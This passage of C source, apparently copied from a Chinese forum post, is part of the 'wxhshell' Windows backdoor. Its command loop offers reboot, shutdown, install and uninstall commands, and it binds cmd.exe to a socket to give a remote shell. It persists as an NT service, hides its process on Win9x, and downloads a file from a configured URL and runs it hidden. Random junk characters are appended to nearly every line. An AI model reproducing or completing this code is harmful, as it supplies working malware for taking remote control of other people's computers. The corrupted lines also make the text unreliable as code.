  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Y p oJ!-  
  } Xs_y!l  
  else { $ 7!GA9Bn  
?^p8]Va%  
    switch(cmd[0]) { D._r@~o  
  ks4 ,2f,2  
  // 帮助 n4,J#h/  
  case '?': { u>#'Y+7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N"y4#W(Z@  
    break; ,//=yW  
  } fOAb?:D  
  // 安装 ny}utO  
  case 'i': { 6 [E"  
    if(Install()) ^u{$$.&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +=4b5*+qG  
    else 9b6h!(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  v<W++X7z  
    break; ;<H2N0qJ(  
    } /.bwwj_;  
  // 卸载 J$[Vm%56  
  case 'r': { Sa5y7   
    if(Uninstall()) -`&;3 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i YkNtqn/  
    else ^` THV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cyyFIJj]  
    break; [E1I?hfJ  
    } g^FH[(P[G  
  // 显示 wxhshell 所在路径 2t<CAKBB  
  case 'p': { KivzgNz  
    char svExeFile[MAX_PATH]; AaVlNjB  
    strcpy(svExeFile,"\n\r"); M-hnBt  
      strcat(svExeFile,ExeFile); r9[J3t*({~  
        send(wsh,svExeFile,strlen(svExeFile),0); g;T`~  
    break; H#K|SSqY?  
    } ,H8P mn?  
  // 重启 7 pV3#fQ  
  case 'b': { C.O-iBVe#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 10(N|2'q  
    if(Boot(REBOOT)) u QCS%|8C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]LjW,b"  
    else { Re_.<_$  
    closesocket(wsh); C 4,W[L]4"  
    ExitThread(0); =9-c*bL  
    } vr$ [  
    break; '"Gi&:*nQ<  
    } ko$R%W&T  
  // 关机 =8-e1R/  
  case 'd': { T28#?Lp6]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4j5plm=  
    if(Boot(SHUTDOWN)) D@e:Fu1\R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KC'{>rt7  
    else { ND*5pRzvp  
    closesocket(wsh); %0QYkHdFR`  
    ExitThread(0); 7JbrIdDl|  
    } =zdRoXBY[b  
    break; A7se#"w  
    } O#g31?TO  
  // 获取shell lf 3W:0 K  
  case 's': {  OxRzKT  
    CmdShell(wsh); } 2KuY\5\i  
    closesocket(wsh); uP:'e8  
    ExitThread(0); f|!zjX`  
    break; 7-)KTBFL  
  } ~<-i7uM  
  // 退出 u-,=C/iU  
  case 'x': { ^)WG c/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cVN|5Y   
    CloseIt(wsh); 7o3f5"z  
    break; *"wsMO  
    } NeH^g0Q2,g  
  // 离开 GI/o!0"_  
  case 'q': { V0>,Kxk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); > ewcD{bt  
    closesocket(wsh); ? T9-FGW  
    WSACleanup(); p)`JVq,H/B  
    exit(1); @xo9'M<l  
    break; K7|BXGL8r8  
        } 6;Bqu5_Cj  
  } %5b2vrg~*  
  } 5K0Isuu>>  
74_ji!  
  // 提示信息 e([}dz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ad[-YT  
} pV_2JXM~@  
  } *5^h>Vk/  
:0/I2:  
  return; *`[LsG]ZF  
} bLg1Dd7Q  
5^qI6 U  
// shell模块句柄 WE\V<MGS/  
int CmdShell(SOCKET sock) kAMt8  
{ czafBO6  
STARTUPINFO si; 0oD?4gn  
ZeroMemory(&si,sizeof(si)); D?$f[+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @>?&Mw\c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :^K|u^_>P  
PROCESS_INFORMATION ProcessInfo; QM=X<?m/,=  
char cmdline[]="cmd"; Re`= B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i9Qx{f88  
  return 0; W1 E(( 2  
} AyddkjX  
:%R3( &  
// 自身启动模式 I/c* ?  
int StartFromService(void) yA~W|q(/V  
{ N7XRk= J  
typedef struct Y:O%xtGi  
{ J}BS/Tr}=  
  DWORD ExitStatus; 9i n&\  
  DWORD PebBaseAddress; b1-JnEc  
  DWORD AffinityMask; =KkHck33  
  DWORD BasePriority; JVRK\A|R  
  ULONG UniqueProcessId; 6u7>S?  
  ULONG InheritedFromUniqueProcessId; nCt:n}+C7  
}   PROCESS_BASIC_INFORMATION; > #SQDVFf  
."dmL=  
PROCNTQSIP NtQueryInformationProcess; p\Jz<dkN1  
YDP<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D+tn<\LF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6:Ra3!V"v  
Ef69]{E  
  HANDLE             hProcess; ) b?HK SqI  
  PROCESS_BASIC_INFORMATION pbi; (V*ggii@  
;sDFTKf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pl U!-7  
  if(NULL == hInst ) return 0; {A{=RPL  
:*1bhk8~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fn)c&|aCt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mjf U[2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6tVB}UKs  
uGOvZO^v  
  if (!NtQueryInformationProcess) return 0; ]w({5i  
c8A //  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !$P&`n]@  
  if(!hProcess) return 0; -3A#a_fu  
xI$B",?(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'F1NBL   
g9g^zd,  
  CloseHandle(hProcess); V#zDYrp  
n>{ >3?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z6\Y& {  
if(hProcess==NULL) return 0; sa{X.}i%E  
kP3'BBd,  
HMODULE hMod; [/xw5rO%  
char procName[255]; z>~Hc8*]3  
unsigned long cbNeeded; ?Yxk1Y4ig)  
jT%k{"+>+?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i!9yN: m0  
K[O'@v  
  CloseHandle(hProcess); s#>Bwn&b)  
j*xxOwf  
if(strstr(procName,"services")) return 1; // 以服务启动 xDm^f^}>  
=JY9K0S~  
  return 0; // 注册表启动 wj /OYnMw  
} }sZme3*J[  
y]yp8Bs+  
// 主模块 x pT85D  
int StartWxhshell(LPSTR lpCmdLine) d H]'&&M  
{ m z) O  
  SOCKET wsl; D3N\$D  
BOOL val=TRUE; 6Dwj^e0  
  int port=0; _Uc le  
  struct sockaddr_in door; Srg `Tt]  
v [\' M  
  if(wscfg.ws_autoins) Install(); wS9EC}s:Q  
b$[O^p9x  
port=atoi(lpCmdLine); BNL Q]  
{fmSmD  
if(port<=0) port=wscfg.ws_port; @#xh)"}  
A46Xei:Ow  
  WSADATA data; f 0D9Mp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _ 7X0  
k%Jv%m}aB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mt"j< ]EW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sz9C':`W  
  door.sin_family = AF_INET; Z7lv |m&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T_i]y4dg  
  door.sin_port = htons(port); fo@ 2@  
0 fX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yjx*hv&?  
closesocket(wsl); g)nsP  
return 1; FMh SHa/B  
} RX3P %xZ  
bVaydJ*  
  if(listen(wsl,2) == INVALID_SOCKET) { x8|sdZFxo  
closesocket(wsl); `KgIr,Q)  
return 1; HG{r\jh  
} Wz',>&a  
  Wxhshell(wsl); k` cz$>  
  WSACleanup(); Hx5t![g2K!  
ckG`^<  
return 0; 9)}Nx>K  
vau0Jn%=ck  
} ))JbROBU,  
~\<aj(m(|  
// 以NT服务方式启动 7#wdBB%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [<CIh46S.  
{ os 9X)G  
DWORD   status = 0; V~([{  
  DWORD   specificError = 0xfffffff; N{w)}me[YY  
wC{?@ h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I:?1(.kd2-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lB3@ jF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]n _OQ)VO  
  serviceStatus.dwWin32ExitCode     = 0; OFH!z{*  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Zu2=<DU  
  serviceStatus.dwCheckPoint       = 0; 9O1#%  
  serviceStatus.dwWaitHint       = 0; C{^U^>bU  
b}s)3=X@q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g?-HAk6  
  if (hServiceStatusHandle==0) return; V}_M\Y^^;  
\-i5b  
status = GetLastError(); vy&q7EX<i  
  if (status!=NO_ERROR) kB:6e7D|[  
{ 6d4)7PL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZxW4 i  
    serviceStatus.dwCheckPoint       = 0; 2GkJ7cL  
    serviceStatus.dwWaitHint       = 0; [ed6n@/O@  
    serviceStatus.dwWin32ExitCode     = status; %+0 7>/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9 8O0M#|d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vG;)(.:  
    return; *>"k/XUn$  
  } w&VMb&<  
cVk&Yp;[*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b9FfDDOq"  
  serviceStatus.dwCheckPoint       = 0; fdk]i/*)  
  serviceStatus.dwWaitHint       = 0; AXBf\ )[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "kH Ft|%@  
} KPW2e2{4@  
j6@5"wx  
// 处理NT服务事件,比如:启动、停止 0H;,~ WY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fiG/ "/u  
{ gN./u   
switch(fdwControl) _\mMgZu  
{ %uA\Le  
case SERVICE_CONTROL_STOP: [(Jj@HlP6T  
  serviceStatus.dwWin32ExitCode = 0; v uP.V#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \l$gcFXb  
  serviceStatus.dwCheckPoint   = 0; x.J% c[Q8  
  serviceStatus.dwWaitHint     = 0; k(As^'>  
  { 1"7Rs}l7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #RIo6 3  
  } n\CQ-*;l  
  return; 6<E4?<O%  
case SERVICE_CONTROL_PAUSE: 2pu8')'P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X%1j-;Wr@  
  break; Y5rR  
case SERVICE_CONTROL_CONTINUE: H#zsk*=QD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dl/Jlsd@  
  break; 7=V s1TVc  
case SERVICE_CONTROL_INTERROGATE: ;ndsq[k>  
  break; <Vu/6"DP  
}; {Ftz4y)6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f/!^QL{  
} ~D[5AXV`^  
? dD<KCbP,  
// 标准应用程序主函数 5yC$G{yV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HZ>8@AVa\  
{ TttD}`\.  
+aa( YGL  
// 获取操作系统版本 {Vg8pt  
OsIsNt=GetOsVer(); gtizgUS7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MGoYL \  
<|,0%bq)|  
  // 从命令行安装 8 oK;Tzh  
  if(strpbrk(lpCmdLine,"iI")) Install(); P8Nzz(JF  
XnBpL6"T`  
  // 下载执行文件 Ry5/O?Q L  
if(wscfg.ws_downexe) { `F)Q=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eYJ6&).F  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y%1 J[W  
} 3>jL7sh%|  
A$w0+&*=  
if(!OsIsNt) { $8k QM  
// 如果时win9x,隐藏进程并且设置为注册表启动 kB`t_`7f  
HideProc(); yW3X<  
StartWxhshell(lpCmdLine); X[F<sxw  
} XI>|"*-l  
else >%vw(pt  
  if(StartFromService()) Woo2hg-ti  
  // 以服务方式启动 lz=DP:/&  
  StartServiceCtrlDispatcher(DispatchTable); &PfCY{_  
else z?a<&`W  
  // 普通方式启动 0H|U9  
  StartWxhshell(lpCmdLine); )T4%}$(  
iGCA>5UE  
return 0; A(!nT=0o  
}
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只看该作者 1 发表于: 2006-10-10
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